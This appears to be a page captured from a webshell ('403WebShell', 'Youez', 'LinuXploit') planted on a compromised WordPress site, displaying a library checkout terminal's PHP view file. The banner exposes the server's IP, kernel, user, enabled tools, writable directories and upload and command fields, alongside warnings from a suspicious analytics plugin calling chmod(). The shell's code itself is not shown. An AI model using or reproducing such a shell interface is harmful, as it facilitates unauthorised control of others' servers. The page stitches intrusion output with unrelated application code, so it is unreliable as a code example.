Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldcore/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldcore/views/terminal_view.php
<?php

class terminal_view extends View {

	function __construct($template = '') {
		global $VARIABLE;
		parent::__construct($template);
		$VARIABLE['javascript_include'] .= '<script type="text/javascript" src="/inc/jquery.windowmsg-1.0.js"></script>' ."\n";
		$VARIABLE['javascript_onload'] .= "\t\$.initWindowMsg();\n";
		$VARIABLE['javascript_onload'] .= "\t\$.triggerWindowEvent(childWin, 'loaded', 0);\n";
		$VARIABLE['javascript'] .= <<<BLOCK
function popup_window() {
	childWin = window.open('', 'barcode_scanner_popup', 'location=1,status=0,scrollbars=1,width=300,height=200,menubar=no,toolbar=no');
	if(childWin.location == 'about:blank' ) childWin.location = '/terminal/watch_barcode_scanner';
	return false;
}

popup_window();

BLOCK;
	}

	public function Render_Introduction() {
		global $VARIABLE;
		$VARIABLE['javascript_onload'] .= <<<BLOCK
	$.windowMsg('barcode', function(message) {
		var elem = message.split('|');
		if (elem[0] == 'x') {
			log('action barcode ' + elem[1]);
			window.location.href = '/terminal/validate/' + escape(elem[1]);
		}
	});
	
BLOCK;

		return <<<BLOCK
<p><font size="+2">This terminal is used for checking out library books. Please use the 
handheld scanner to scan the '<strong>Done</strong>' or '<strong>Cancel</strong>' barcode to continue.</font></p>
<br><br><br>
<p>If the barcode scanner does not appear to work, make sure it is connected to the back of the computer. Also, make sure the small
browser <a href="#" onclick="return popup_window()">popup window</a> has not been closed (you're welcome to minimize it)</p>

BLOCK;
	}

	// this is the core routine
	public function Render_popup() {
//			if (text.length > 3)  alert(text);
		return <<<BLOCK
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta name="viewport" content="width=device-width" />
<meta name="MSSmartTagsPreventParsing" content="TRUE">
<title>books.hopeinstoughton.org - The Library Terminal</title>
<link rel="icon" type="image/vnd.microsoft.icon" href="/img/favicon.ico" />

<script type="text/javascript" src="/inc/jquery-1.6.4.min.js"></script>
<script type="text/javascript" src="/inc/jquery.windowmsg-1.0.js"></script>
<script type="text/javascript" src="/inc/books.js"></script>
<style type="text/css">
</style>

<script type="text/javascript">
isrunning = false;
message_queue = [];
setInterval('wait_for_barcode()', 333);

$(function(){
	$.initWindowMsg();
	$.windowMsg('loaded', function(message) {		// parent window has loaded. Do we have any messages for it?
		if (message_queue.length > 0) {		// we have a message waiting - send it
			var text = message_queue.shift();
			$.triggerParentEvent('barcode', text)
		}
	});
});

function wait_for_barcode() {
	if (isrunning) return;
	isrunning = true;
	var today = new Date();
	var unixtime = parseInt(today.getTime() / 1000);
	$.ajax({
		url: '/terminal/barcode_feed?t=' + unixtime,
		success: function(json){
			var text = unescape(json.data);
			if (text.length > 3)  processText(text);
		},
		complete: function() {
			isrunning = false;
		},
		dataType: 'jsonp',
		timeout: 32000
	});
}

function processText(text) {
	var elem = text.split('|');
	var barcode_type = elem[0];
	var barcode_number = elem[1];
	var barcode_param = elem[2];
	log('barcode ' + barcode_type + ': ' + barcode_number + ' (' + barcode_param + ')');
	$('#scanned').html(barcode_number);
	
	if (!$.triggerParentEvent('barcode', text)) {
		message_queue.push(text);	// add event to queue -- when page has loaded, it will check the queue
		log('push: ' + text);
	} else {
		log('barcode event: ' + text);
	}
}
</script>
</head>
<body>
<p>This window communicates with the barcode scanner - please leave it open</p>
<p>Barcode scanned: <strong><span id="scanned">&nbsp;</span></strong></p>
<p>Terminal status: <strong><span id="status">&nbsp;</span></strong></p>
</body>
</html>
BLOCK;
	}
	
	public function TellUsWhoYouAre($webform, $cash_sale) {
		global $THIS_URL, $VARIABLE;
		$webform->AddSubmit('s', '  this is me  ');
		$html = $webform->AsHtml();
		
$VARIABLE['css'] .= <<<BLOCK
#priceCheck h1 {
	font-family: tahoma, Arial, Helvetica, sans-serif;
	font-weight: bold;
	font-size: 1.5em;
	color: #003399;
}

#popUpBackground {
	display:none;
	position:fixed;
	_position:absolute; /* hack for internet explorer 6*/
	width:100%;
	height: 100%;
	top:0;
	left:0;
	background:#000000;
	border:1px solid #cecece;
	z-index:1000010;
}

#priceCheck {
	display:none;
	position:fixed;
	_position:absolute; /* hack for internet explorer 6*/
	width:585px;
	background:#FFFFFF;
	border:2px solid #cecece;
	z-index:1000020;
	padding:5px;
	font-size:13px;
	text-align: center;
	font-family: tahoma, Arial, Helvetica, sans-serif;
}

#poptitle {
	font-size: 16pt;
	font-weight: bold;
}
#popprice {
	font-size: 76pt;
}
#popdetails {
}

BLOCK;

$VARIABLE['javascript'] .= <<<BLOCK

popupLoaded = -1;
$(document).keydown(function(e){
	if(e.keyCode==32 || e.keyCode==13) {
		document.mainform.submit();
		return false;
	} else if(e.keyCode==27 && popupLoaded==1){
		pricecheck_hide();
		return false;
	}
});
		
function pricecheck_hide() {
	if(popupLoaded > 0){
		popupLoaded = 0;
		$('#popUpBackground').fadeOut('fast');
		$('#priceCheck').fadeOut('fast');
	}
}

function pricecheck_load() {
	if (popupLoaded <= 0) {
		var windowWidth = $(document).width(); 
		var windowHeight = $(document).height();

		// width, height values current set on the element
		var popupHeight = $("#priceCheck").height();
		var popupWidth = $("#priceCheck").width();

		$("#priceCheck").css({
			"position": "fixed",
			"top": ($(window).height()-popupHeight)/2,
			"left": ($(window).width()-popupWidth)/2
		});
		
		$("#popUpBackground").css({
			"height": windowHeight
		});
		popupLoaded = 0;
	}
	if (!popupLoaded) {
		$("#popUpBackground").css({
			"opacity": "0.7"
		});
		$("#popUpBackground").fadeIn('fast');
		$("#priceCheck").fadeIn('fast');
		popupLoaded = 1;
	}
}

function pricecheck(barcode) {
	$.get('/terminal/pricecheck/' + escape(barcode), function(data) {
		$('#priceCheck').html(data);
		pricecheck_load();
	});
}

BLOCK;

		$dbounce = urlencode($THIS_URL);
		$VARIABLE['javascript_onload'] .= <<<BLOCK
	$.windowMsg('barcode', function(message) {
		var elem = message.split('|');
		
		if (elem[0] == 's') {					// stock barcode - display price
			pricecheck(elem[1]);
		} else if (elem[0] == 'm') {			// members
			if (!elem[2].length) {			// unknown barcode
				window.location.href = '/terminal/add_client_add/' + escape(elem[1]);
			} else {
				window.location.href = '/terminal/start_transaction/' + escape(elem[2]);		// valid member barcode
			}
		} else if (elem[0] == 'x' && elem[2] == '90') {		// "Purchase" == cash sale
			window.location.href = '/terminal/start_transaction/{$cash_sale}';
		} else if (elem[0] == 'x') {		// special action - book return / stocktake / writeoff / etc
			window.location.href = '/terminal/special/?pg=1&id=' + escape(elem[2]) + '&bounce={$dbounce}';
		}
	});
	
BLOCK;

return <<<BLOCK

<h3 id="anchor">Step 1 of 3: Tell us who you are</h3>

<p>Please use the barcode scanner to scan your Library Card or the back of your Driver's License. Alternatively choose from the list below:</p>
<form method="post" action="$THIS_URL" name="mainform"><table border="0">
$html
</table></form>
<p>Type in the first letter of your surname, then use the Up and Down Arrow keys.  Press the &lt;Enter&gt; key when your name is highlighted.</p>

<div id="priceCheck"></div>
<div id="popUpBackground"></div>

BLOCK;

	}
	
	function Render_Barcode_Information($DATA) {
		$title = ip_AsTitle($DATA, 2);
		if (empty($DATA['ds_barcode'])) {
			$title = 'This barcode is not in use';
			$current_price = '-';
			$DATA['bt_id'] = 0;
		} else {
			$current_price = '$' . ip_ItemCost($DATA);
		}

		if (empty($DATA['bt_dim'])) {
			$dim = array();
		} else {
			$dim = unserialize($DATA['bt_dim']);
		}
		$id = $DATA['bt_id'];
		$wd = isset($dim['wd']) ? intval($dim['wd']) : 0;
		$ht = isset($dim['ht']) ? intval($dim['ht']) : 0;
		if ($ht && $wd) {
			$image = "<td rowspan=\"4\" width=\"$wd\"><img src=\"/image/thumbnail/$id\" width=\"$wd\" height=\"$ht\" alt=\"cover\" border=\"0\"></td>";
		} else {
			$image = '<td rowspan="4"></td>';
		}
		
	// Display Details (with image)
		return <<<BLOCK
<table border="0" width="580" cellspacing="0" cellpadding="3">
<tr>$image</td>
<td><span id="poptitle">$title</span></td></tr>
<tr><td><span id="popprice">$current_price</span></td></tr>
<tr><td valign="bottom"><span id="popdetails"></span>...</td></tr>


</table>
<p>Press &lt;ESC&gt; to close this window</p>
BLOCK;

	}
	
	public function ScanBooks($additional, $iscash, $tranid) {
		global $VARIABLE, $THIS_URL;
// space for title, author, cost
		$dbounce = urlencode($THIS_URL);
		$VARIABLE['default_right'] .= <<<BLOCK
<br>
<h4>&nbsp; Current Item &nbsp;</h4>
<span id="titleinfo"></span>

BLOCK;

		$VARIABLE['javascript'] .= <<<BLOCK

lastscanned = '';
subtotal = 0;
  
function addItem(title, price, titleid, purchase, iwd, iht) {
	log('add item: ' + title + ' ' + price);
	var itemid = 'c_' + titleid;
	price = CurrencyFormatted(price);
	var ltb = document.getElementById("ltbody");
	var tbodyElem = document.getElementById("lttbody");
	var trElem, tdElem, txtNode;
	var sellprice = price;
	var img;

	var k = tbodyElem.rows.length % 2;
	trElem = tbodyElem.insertRow(tbodyElem.rows.length);
	trElem.className = "r" + k;
   
	tdElem = trElem.insertCell(trElem.cells.length);
	if (purchase) {
		tdElem.className = "ltcol0 buy";
	} else {
		tdElem.className = "ltcol0";
		price = '0.00';
	}

	txtNode = document.createTextNode(title);
	tdElem.appendChild(txtNode);
  
	tdElem = trElem.insertCell(trElem.cells.length);
	tdElem.className = "ltcol1";
	txtNode = document.createTextNode(price);
	txtNode.id = itemid;
	tdElem.appendChild(txtNode);
	lastscanned = itemid;

	ltb.scrollTop = trElem.offsetTop;
	img = '';
	if (iwd > 0 && iht > 0) {
		img = '<img src="/image/thumbnail/' + titleid + '">';
	}
	
	$('#titleinfo').html('<table border="0"><td valign="top">Title:</td><td><b>' + title + '</b></td></tr>' +
					'<tr><td>Price:</td><td align="right">$' + sellprice + '</td></tr>'+
					'<tr><td colspan="2" align="center">' + img + '</td></tr>'+
					'</table>');

	price = eval(price);
	subtotal += price;
	$('#subtotal').html(CurrencyFormatted(subtotal));

	return false;
}

	$.windowMsg('barcode', function(message) {
		log('at transaction event: ' + message);
		var elem = message.split('|');
		if (elem[0] == 'x') {
			document.location.href = '/terminal/special/?pg=2&tid=$tranid&id=' + escape(elem[2]) + '&bounce={$dbounce}';
		} else if (elem[0] == 's') {
			var titlenum = elem[2];
			if (!titlenum.length) {	// unknown allocated barcode - associate a book with it
				log('newitem /terminal/newitem?tid=$tranid&bc=' + escape(elem[1]));
				document.location.href = '/terminal/newitem?tid=$tranid&bc=' + escape(elem[1]);
			} else {
				log('getscript ' + '/terminal/scanned?tid=$tranid&bc=' + escape(elem[1]));
				$.getScript('/terminal/scanned?tid=$tranid&bc=' + escape(elem[1]));
			}
		}
	});

BLOCK;
		if ($additional != '') $VARIABLE['javascript_onload'] .= $additional;

		$action = ($iscash) ? 'purchase' : 'borrow';
		$msg = self::GenerateDoneMessage('When you are finished, please scan the DONE barcode, or press the SPACEBAR.',
					"/terminal/payment/$tranid?id=50");
	
		$output = <<<BLOCK

<h3>Step 2 of 3: Scan the Books</h3>

<p>Please scan the HopeInStoughton barcodes found on the back cover of the books you wish to $action.</p>
<p><strong>$msg</strong></p>

<div id="ltcontainer">
	<div id="lttitle">
		<span class="lttcell ltcol0">Title, Author</span>
		<span class="lttcell ltcol1">Price</span>
	</div>
	<div id="ltbody">
	 <table width="100%" cellspacing="0" cellpadding="0">
      <tbody id="lttbody">
      </tbody>
     </table>
	</div>
	<div id="lttitle">
		<span class="lttcell ltcol0"></span>
		<span class="lttcell ltcol1">US\$<b id="subtotal">0.00</b></span>
	</div>
</div>

BLOCK;

		if (!$iscash) $output .= '<p>If you wish to purchase any of the books, please scan the PURCHASE barcode after you have scanned the barcode on the back of the book.</p>';
		$output .= "<p>Scan a barcode a second time to remove it from the list</p>\n";
		return $output;
	}
	
	function GenerateDoneMessage($msg, $dest = '') {
		global $VARIABLE;
		if ($dest == '') $dest = '/terminal/select_client';

		$VARIABLE['javascript'] .= <<<BLOCK
function keydown(e) {
	var key = e? e.which: window.event.keyCode;
	if (key == 32) {
		document.location.href = '$dest';
		return false;
	}
	return true;
}
document.onkeypress = keydown;

BLOCK;
		return $msg;
	}
	
	public function Cancelled() {
		global $VARIABLE;
		$VARIABLE['javascript_onload'] .= <<<BLOCK
	$.windowMsg('barcode', function(message) {
		var elem = message.split('|');
		if (elem[0] == 'x' && elem[2] == 50) {
			document.location.href = '/terminal/select_client';
		}
	});
BLOCK;
		$msg = self::GenerateDoneMessage('Please scan DONE barcode, or press the SPACEBAR to continue');
		return <<<BLOCK
<br><br><br>
<p>Your transaction has been cancelled. Please return any books to the shelves<p>
<br><br>$msg<br><br><br><br>
BLOCK;
	}
	
	public function Payment($webform, $tranid) {
		global $VARIABLE;
		$webform->AddSubmit('s', '  continue  ');
		$html = $webform->AsHTML();
		$VARIABLE['javascript'] .= <<<BLOCK

function updatechg() {
	var a = $('#amt');
	var c = $('#chg');
	var d = $('#donate');
	var total = {$VARIABLE['TOTAL']};
	var av = isNaN(parseFloat(a.val())) ? 0 : parseFloat(a.val());
	var dv = isNaN(parseFloat(d.val())) ? 0 : parseFloat(d.val());
	var x = av - total - dv;
	c.val((!isNaN(x)) ? CurrencyFormatted(x) : '');
}

function changepay(radio) {
	if (radio.value == '3' || radio.value == '4') {
		$('#l_amt').hide();		$('#amt').hide();
		$('#l_donate').hide();	$('#donate').hide();
		$('#l_chg').hide();		$('#chg').hide();
	} else {
		$('#l_amt').show();		$('#amt').show();
		$('#l_donate').show();	$('#donate').show();
		$('#l_chg').show();		$('#chg').show();
	}
}

BLOCK;
	
//	$VARIABLE['footer'] = 'credit card processing is done through Google Checkout';
	
		$body = <<<BLOCK
<br><br>
<fieldset style="width:450px"><legend>Please select your method of payment</legend>
<form method="post" action="/terminal/payment/$tranid" name="mainform"><table border="0" width="100%">
$html
</table></form>
</fieldset>

BLOCK;
	
	// print receipt, and also borrowed stuff at end
		return $body;
	}

	public function transaction_finished($DATA, $loancount, $purchasecount) {
		global $VARIABLE;
		$returndate = strtotime($DATA['bh_return']);
		$tranid = $DATA['bh_id'];
		$ddate = date('l, F j, Y', $returndate);
		$printed = $DATA['bh_printed'];

		$VARIABLE['javascript_onload'] .= <<<BLOCK
	$.windowMsg('barcode', function(message) {
		var elem = message.split('|');
		if (elem[0] == 'x') {
			window.location.href = '/terminal/validate/' + escape(elem[1]);
		}
	});
BLOCK;
		$done = self::GenerateDoneMessage('Please press SPACEBAR, or scan the DONE barcode to continue.');

		$reprint = '';
		if ($purchasecount > 0) {
			$reprint = "<a href=\"?reprint=130\">Reprint Invoice</a>";
		}
		if ($loancount > 0) {
			if ($reprint != '') $reprint .= ' | ';
			$reprint .= "<a href=\"?reprint=140\">Reprint Loan Docket</a>";
// borrowed (with or without purchases) -> print out [both], display return date
			$message = <<<BLOCK
<br><br><br>
<p>Please return borrowed books on or before</p>
<h2>$ddate</h2>
<br><br><br><br>
BLOCK;
				$action = 'a';		// all  -  borrow, invoice
		} elseif ($purchasecount > 0) {		// no borrowed books, only purchased -> print out, display thank you
			$message = <<<BLOCK
<p>Please collect your Invoice from the receipt printer. This can be reprinted if needed.</p>
BLOCK;
			$action = 'i';			// invoice
		} else {
// nothing to be done.
			$message = '';
		}
		if ($action != '') {
			$message .= <<<BLOCK
<iframe width="10" height="10" frameborder="0" src="/terminal/print_receipt/$tranid?fn=$action"></iframe>
BLOCK;
		}
		return <<<BLOCK
$message
<p>$done</p>
<p>$reprint</p>
BLOCK;
	}
	
	public function Stocktake($webform, $status, $isWriteOff = 0) {
		global $VARIABLE, $THIS_URL;
		$dbounce = urlencode($THIS_URL);
		$VARIABLE['javascript_onload'] .= <<<BLOCK
	$.windowMsg('barcode', function(message) {
		var elem = message.split('|');
		
		if (elem[0] == 's') {					// stock barcode - post form
			$('#barcode').val(elem[1]);
			$('#mainform').submit();
		} else if (elem[0] == 'm') {			// members -- ignore
		} else if (elem[0] == 'x') {
			window.location.href = '/terminal/special/?pg=1&id=' + escape(elem[2]) + '&bounce={$dbounce}';
		}
	});
BLOCK;

		$done = self::GenerateDoneMessage('Continue scanning barcodes; when finished press SPACEBAR, or scan the DONE barcode.');
		$html = $webform->AsHtml();
		if ($status != '') $status = '<hr><br>' .$status;
		return <<<BLOCK
<form method="post" name="mainform" id="mainform"><table border="0" width="100%">
$html
</table></form>
<br><br>
$done
$status
BLOCK;
		
	}
	
	public function bookreturn($info = array()) {
		global $VARIABLE;
		
		if (count($info)) {
			$title = htmlspecialchars($info['title']);
			$dbarcode = htmlspecialchars($info['barcode']);
			$location = htmlspecialchars($info['location']);
			$data = <<<BLOCK
<hr>
<br>
<table border="0" width="100%" cellpadding="2" cellspacing="0">
<tr><td><span class="size1">Barcode</span></td></tr>
<tr class="r0"><td>$dbarcode</td></tr>
<tr><td><span class="size1">Product</span></td></tr>
<tr class="r0"><td>$title</td></tr>
<tr><td><span class="size1">Location</span></td></tr>
<tr class="r0"><td>$location</td></tr>
</table>
<script type="text/javascript">
function playsound() {
	var beep = document.getElementById('beep_general');
	beep.play(8);
}
</script>
<object id="beep_general" class="flash" type="application/x-shockwave-flash" data="/inc/flashbeep_general.swf" width="1" height="1">
 <param name="movie" value="/inc/flashbeep_general.swf" />
 <param name="FlashVars" value="onLoad=playsound" />
</object>

BLOCK;

		} else {
			$data = '<br><br><br><br><br>';
		}
		
		$VARIABLE['javascript_onload'] .= <<<BLOCK
	$.windowMsg('barcode', function(message) {
		var elem = message.split('|');
		
		if (elem[0] == 's') {					// stock barcode - post form
			var titleid = elem[2];
			if (!titleid.length) {		// unknown allocated barcode - associate a book with it
				window.location.href = '/terminal/newitem/' +  + elem[1];
			} else {
				window.location.href = '/terminal/bookreturn/' + elem[1];
			}
		} else if (elem[0] == 'm') {			// members -- ignore
		} else if (elem[0] == 'x') {
			if (elem[2] == '50') window.location.href = '/terminal';
		}
	});
BLOCK;
		$done = self::GenerateDoneMessage('<p>Press SPACEBAR, or scan the DONE barcode when finished.</p>');

		return <<<BLOCK
<br>
<p>Please scan the barcode(s) on the book(s) being returned. New books are added from this page - simply 
place a new barcode from the sheet of Stock labels, attach it to the back of the book and scan it.</p>
$done
<br><br>
$data

BLOCK;

	}
	
	public function NewItem($webform, $tranid) {
		global $THIS_URL, $VARIABLE; // <a href="http://$HOST/$back">go back</a>
		$webform->AddSubmit('s', '  add this item  ');
		$html = $webform->AsHtml();
		$dbounce = urlencode($THIS_URL);
		$VARIABLE['javascript'] .= <<<BLOCK
var details = new Array({$VARIABLE['titlestuff']});
function _findentry(titleid) {
	for(i = 0; i < details.length; i+=3) {
		if (details[i] == titleid) return i;
	}
	return -1;
}

function __id(obj) {
	var m = MM_findObj('id');
	var key = m.options[m.selectedIndex].value;
	var entry = _findentry(key);
	var xsell = MM_findObj('sell');
	var xpurchase = MM_findObj('bt_purchase');
	if (entry < 0) {
		xpurchase.checked = false;
		xsell.value = '';
	} else {
		xpurchase.checked = details[entry + 2] != 0;
		xsell.value = CurrencyFormatted(details[entry + 1]);
	}
}

BLOCK;
		$VARIABLE['javascript_onload'] .= <<<BLOCK
	$.windowMsg('barcode', function(message) {
		var elem = message.split('|');
		
		if (elem[0] == 'x') {		// special
			window.location = '?sp=' + elem[2];
		} else if (elem[0] == 'p') {	// periodical
			window.location = '?per=' + elem[2];
		}
	});
BLOCK;
		
		return <<<BLOCK
<p>You have just scanned a new barcode, and there is no information in the database
about it.  Please select the title of the book from the list below:</p>

<form method="post" action="$THIS_URL" name="mainform"><input type="hidden" name="tid" value="$tranid"><table border="0">
$html
</table></form>
<p>For periodicals, please make sure the month/date is correct, then scan the appropriate Periodical barcode. 
This will automatically create the correct entry in the stock database.</p>
BLOCK;

	}
	
	
	public function Writeoff($info = array()) {
		global $VARIABLE;
		
		if (count($info)) {
			$title = htmlspecialchars($info['title']);
			$dbarcode = htmlspecialchars($info['barcode']);
			$location = htmlspecialchars($info['location']);
			$data = <<<BLOCK
<hr>
<br>
<table border="0" width="100%" cellpadding="2" cellspacing="0">
<tr><td><span class="size1">Barcode</span></td></tr>
<tr class="r0"><td>$dbarcode</td></tr>
<tr><td><span class="size1">Product</span></td></tr>
<tr class="r0"><td>$title</td></tr>
<tr><td><span class="size1">Location</span></td></tr>
<tr class="r0"><td>$location</td></tr>
</table>
<script type="text/javascript">
function playsound() {
	var beep = document.getElementById('beep_general');
	beep.play(8);
}
</script>
<object id="beep_general" class="flash" type="application/x-shockwave-flash" data="/inc/flashbeep_general.swf" width="1" height="1">
 <param name="movie" value="/inc/flashbeep_general.swf" />
 <param name="FlashVars" value="onLoad=playsound" />
</object>

BLOCK;

		} else {
			$data = '<br><br><br><br><br>';
		}
		
		$VARIABLE['javascript_onload'] .= <<<BLOCK
	$.windowMsg('barcode', function(message) {
		var elem = message.split('|');
		
		if (elem[0] == 's') {					// stock barcode - post form
			var titleid = elem[2];
			if (!titleid.length) {		// unknown allocated barcode - associate a book with it
				window.location.href = '/terminal/newitem/' +  + elem[1];
			} else {
				window.location.href = '/terminal/writeoff/' + elem[1];
			}
		} else if (elem[0] == 'm') {			// members -- ignore
		} else if (elem[0] == 'x') {
			if (elem[2] == '50') window.location.href = '/terminal';
		}
	});
BLOCK;
		$done = self::GenerateDoneMessage('<p>Press SPACEBAR, or scan the DONE barcode when finished.</p>');

		return <<<BLOCK
<br>
<p>Please scan the barcode(s) on the item(s) to be written off.</p>
$done
<br><br>
$data

BLOCK;

	}
	
}

/*
unallocated barcodes:
SELECT * FROM `dt_barcode` 
left outer join dt_stock on db_barcode=ds_barcode
where db_type = 's' and ds_title is null

802072620656
*/

Youez - 2016 - github.com/yon3zu
LinuXploit